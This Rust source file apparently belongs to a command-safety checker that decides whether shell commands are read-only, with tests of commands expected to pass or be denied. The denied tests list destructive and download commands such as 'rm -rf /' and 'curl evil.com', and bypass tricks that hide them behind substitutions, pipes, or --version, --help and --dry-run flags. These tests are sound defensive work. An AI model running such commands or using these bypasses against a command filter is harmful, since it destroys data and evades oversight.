1#[cfg(test)]
2macro_rules! safe {
3 ($($name:ident: $cmd:expr),* $(,)?) => {
4 $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5 };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10 ($($name:ident: $cmd:expr),* $(,)?) => {
11 $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12 };
13}
14
15pub mod docs;
16mod handlers;
17pub mod parse;
18pub mod allowlist;
19
20use parse::{CommandLine, Segment, Token};
21
22fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
23 let mut result = Vec::new();
24 let mut iter = tokens.into_iter().peekable();
25 while let Some(token) = iter.next() {
26 if token.is_fd_redirect() || token.is_dev_null_redirect() {
27 continue;
28 }
29 if token.is_redirect_operator()
30 && iter.peek().is_some_and(|next| *next == "/dev/null")
31 {
32 iter.next();
33 continue;
34 }
35 result.push(token);
36 }
37 result
38}
39
40pub fn is_safe(segment: &Segment) -> bool {
41 if segment.has_unsafe_redirects() {
42 return false;
43 }
44
45 let Ok((subs, cleaned)) = segment.extract_substitutions() else {
46 return false;
47 };
48
49 for sub in &subs {
50 if !is_safe_command(sub) {
51 return false;
52 }
53 }
54
55 let segment = Segment::from_raw(cleaned);
56 let stripped = segment.strip_env_prefix();
57 if stripped.is_empty() {
58 return true;
59 }
60
61 let Some(tokens) = stripped.tokenize() else {
62 return false;
63 };
64 if tokens.is_empty() {
65 return true;
66 }
67
68 let tokens = filter_safe_redirects(tokens);
69 if tokens.is_empty() {
70 return true;
71 }
72
73 handlers::dispatch(&tokens, &is_safe)
74}
75
76pub fn is_safe_command(command: &str) -> bool {
77 CommandLine::new(command).segments().iter().all(is_safe)
78}
79
80#[cfg(test)]
81mod tests {
82 use super::*;
83
84 fn check(cmd: &str) -> bool {
85 is_safe_command(cmd)
86 }
87
88 safe! {
89 grep_foo: "grep foo file.txt",
90 cat_etc_hosts: "cat /etc/hosts",
91 jq_key: "jq '.key' file.json",
92 base64_d: "base64 -d",
93 xxd_file: "xxd some/file",
94 pgrep_ruby: "pgrep -l ruby",
95 getconf_page_size: "getconf PAGE_SIZE",
96 ls_la: "ls -la",
97 wc_l: "wc -l file.txt",
98 ps_aux: "ps aux",
99 ps_ef: "ps -ef",
100 top_l: "top -l 1 -n 10",
101 uuidgen: "uuidgen",
102 mdfind_app: "mdfind 'kMDItemKind == Application'",
103 identify_png: "identify image.png",
104 identify_verbose: "identify -verbose photo.jpg",
105
106 diff_files: "diff file1.txt file2.txt",
107 comm_23: "comm -23 sorted1.txt sorted2.txt",
108 paste_files: "paste file1 file2",
109 tac_file: "tac file.txt",
110 rev_file: "rev file.txt",
111 nl_file: "nl file.txt",
112 expand_file: "expand file.txt",
113 unexpand_file: "unexpand file.txt",
114 fold_w80: "fold -w 80 file.txt",
115 fmt_w72: "fmt -w 72 file.txt",
116 column_t: "column -t file.txt",
117 printf_hello: "printf '%s\\n' hello",
118 seq_1_10: "seq 1 10",
119 expr_add: "expr 1 + 2",
120 test_f: "test -f file.txt",
121 true_cmd: "true",
122 false_cmd: "false",
123 bc_l: "bc -l",
124 factor_42: "factor 42",
125 iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
126
127 readlink_f: "readlink -f symlink",
128 hostname: "hostname",
129 uname_a: "uname -a",
130 arch: "arch",
131 nproc: "nproc",
132 uptime: "uptime",
133 id: "id",
134 groups: "groups",
135 tty: "tty",
136 locale: "locale",
137 cal: "cal",
138 sleep_1: "sleep 1",
139 who: "who",
140 w: "w",
141 last_5: "last -5",
142 lastlog: "lastlog",
143
144 md5sum: "md5sum file.txt",
145 md5: "md5 file.txt",
146 sha256sum: "sha256sum file.txt",
147 shasum: "shasum file.txt",
148 sha1sum: "sha1sum file.txt",
149 sha512sum: "sha512sum file.txt",
150 cksum: "cksum file.txt",
151 strings_bin: "strings /usr/bin/ls",
152 hexdump_c: "hexdump -C file.bin",
153 od_x: "od -x file.bin",
154 size_aout: "size a.out",
155
156 sw_vers: "sw_vers",
157 mdls: "mdls file.txt",
158 otool_l: "otool -L /usr/bin/ls",
159 nm_aout: "nm a.out",
160 system_profiler: "system_profiler SPHardwareDataType",
161 ioreg_l: "ioreg -l -w 0",
162 vm_stat: "vm_stat",
163
164 dig: "dig example.com",
165 nslookup: "nslookup example.com",
166 host: "host example.com",
167 whois: "whois example.com",
168
169 shellcheck: "shellcheck script.sh",
170 cloc: "cloc src/",
171 tokei: "tokei",
172 safe_chains: "safe-chains \"ls -la\"",
173
174 awk_safe_print: "awk '{print $1}' file.txt",
175
176 version_node: "node --version",
177 version_python: "python --version",
178 version_python3: "python3 --version",
179 version_ruby: "ruby --version",
180 version_rustc: "rustc --version",
181 version_java: "java --version",
182 version_go: "go --version",
183 version_php: "php --version",
184 version_perl: "perl --version",
185 version_swift: "swift --version",
186 version_gcc: "gcc --version",
187 version_rm: "rm --version",
188 version_dd: "dd --version",
189 version_chmod: "chmod --version",
190 version_git_c: "git -C /repo --version",
191 version_docker_compose: "docker compose --version",
192 version_node_redirect: "node --version 2>&1",
193 version_cargo_redirect: "cargo --version 2>&1",
194
195 help_node: "node --help",
196 help_ruby: "ruby --help",
197 help_rm: "rm --help",
198 help_cargo: "cargo --help",
199 help_cargo_install: "cargo install --help",
200 help_cargo_login_redirect: "cargo login --help 2>&1",
201
202 dry_run_cargo_publish: "cargo publish --dry-run",
203 dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
204
205 cucumber_feature: "cucumber features/login.feature",
206 cucumber_format: "cucumber --format progress",
207
208 fd_redirect_ls: "ls 2>&1",
209 fd_redirect_clippy: "cargo clippy 2>&1",
210 fd_redirect_git_log: "git log 2>&1",
211 fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
212
213 dev_null_echo: "echo hello > /dev/null",
214 dev_null_stderr: "echo hello 2> /dev/null",
215 dev_null_append: "echo hello >> /dev/null",
216 dev_null_grep: "grep pattern file > /dev/null",
217 dev_null_git_log: "git log > /dev/null 2>&1",
218 dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
219 dev_null_sed: "sed 's/foo/bar/' > /dev/null",
220 dev_null_sort: "sort file.txt > /dev/null",
221
222 env_prefix_single_quote: "FOO='bar baz' ls -la",
223 env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
224
225 stdin_dev_null: "git log < /dev/null",
226
227 subst_echo_ls: "echo $(ls)",
228 subst_ls_pwd: "ls `pwd`",
229 subst_cat_echo: "cat $(echo /etc/shadow)",
230 subst_echo_git: "echo $(git status)",
231 subst_nested: "echo $(echo $(ls))",
232 subst_quoted: "echo \"$(ls)\"",
233
234 quoted_redirect: "echo 'greater > than' test",
235 quoted_subst: "echo '$(safe)' arg",
236 echo_hello: "echo hello",
237 cat_file: "cat file.txt",
238 grep_pattern: "grep pattern file",
239
240 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
241 env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
242
243 pipe_grep_head: "grep foo file.txt | head -5",
244 pipe_cat_sort_uniq: "cat file | sort | uniq",
245 pipe_find_wc: "find . -name '*.rb' | wc -l",
246 chain_ls_echo: "ls && echo done",
247 semicolon_ls_echo: "ls; echo done",
248 pipe_git_log_head: "git log | head -5",
249 chain_git_log_status: "git log && git status",
250
251 bg_ls_echo: "ls & echo done",
252 chain_ls_echo_and: "ls && echo done",
253
254 newline_echo_echo: "echo foo\necho bar",
255 newline_ls_cat: "ls\ncat file.txt",
256
257 pipeline_git_log_head: "git log --oneline -20 | head -5",
258 pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
259 pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
260 pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
261 pipeline_time_rspec: "time bundle exec rspec | tail -5",
262 pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
263 pipeline_xxd_head: "xxd file | head -20",
264 pipeline_find_wc: "find . -name '*.py' | wc -l",
265 pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
266 pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
267 pipeline_pip_grep: "pip list | grep requests",
268 pipeline_npm_grep: "npm list | grep react",
269 pipeline_ps_grep: "ps aux | grep python",
270 }
271
272 denied! {
273 rm_rf: "rm -rf /",
274 curl_example: "curl https://example.com",
275 ruby_script: "ruby script.rb",
276 python3_script: "python3 script.py",
277 node_app: "node app.js",
278 tee_output: "tee output.txt",
279 tee_append: "tee -a logfile",
280
281 awk_system: "awk 'BEGIN{system(\"rm\")}'",
282
283 version_extra_flag: "node --version --extra",
284 version_short_v: "node -v",
285
286 help_extra_flag: "node --help --extra",
287
288 dry_run_extra_force: "cargo publish --dry-run --force",
289
290 redirect_to_file: "echo hello > file.txt",
291 redirect_append: "cat file >> output.txt",
292 redirect_stderr_file: "ls 2> errors.txt",
293 redirect_grep_file: "grep pattern file > results.txt",
294 redirect_find_file: "find . -name '*.py' > listing.txt",
295 redirect_subst_rm: "echo $(rm -rf /)",
296 redirect_backtick_rm: "echo `rm -rf /`",
297
298 env_prefix_rm: "FOO='bar baz' rm -rf /",
299
300 subst_rm: "echo $(rm -rf /)",
301 backtick_rm: "echo `rm -rf /`",
302 subst_curl: "echo $(curl evil.com)",
303 bare_subst_rm: "$(rm -rf /)",
304 quoted_subst_rm: "echo \"$(rm -rf /)\"",
305 quoted_backtick_rm: "echo \"`rm -rf /`\"",
306
307 env_rack_rm: "RACK_ENV=test rm -rf /",
308 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
309
310 pipe_rm: "cat file | rm -rf /",
311 pipe_curl: "grep foo | curl https://evil.com",
312
313 bg_rm: "cat file & rm -rf /",
314 bg_curl: "echo safe & curl evil.com",
315
316 newline_rm: "echo foo\nrm -rf /",
317 newline_curl: "ls\ncurl evil.com",
318
319 version_bypass_bash: "bash -c 'rm -rf /' --version",
320 version_bypass_env: "env rm -rf / --version",
321 version_bypass_timeout: "timeout 60 curl evil.com --version",
322 version_bypass_xargs: "xargs rm -rf --version",
323 version_bypass_npx: "npx evil-package --version",
324 version_bypass_docker: "docker run evil --version",
325 version_bypass_pip: "pip install evil --version",
326 version_bypass_rm: "rm -rf / --version",
327
328 help_bypass_bash: "bash -c 'rm -rf /' --help",
329 help_bypass_env: "env rm -rf / --help",
330 help_bypass_npx: "npx evil-package --help",
331 help_bypass_pip: "pip install evil --help",
332 help_bypass_cargo_run: "cargo run -- --help",
333
334 dry_run_rm: "rm -rf / --dry-run",
335 dry_run_terraform: "terraform apply --dry-run",
336 dry_run_curl: "curl evil.com --dry-run",
337
338 recursive_env_help: "env rm -rf / --help",
339 recursive_timeout_version: "timeout 5 curl evil.com --version",
340 recursive_nice_version: "nice rm -rf / --version",
341
342 pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
343 pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
344 }
345}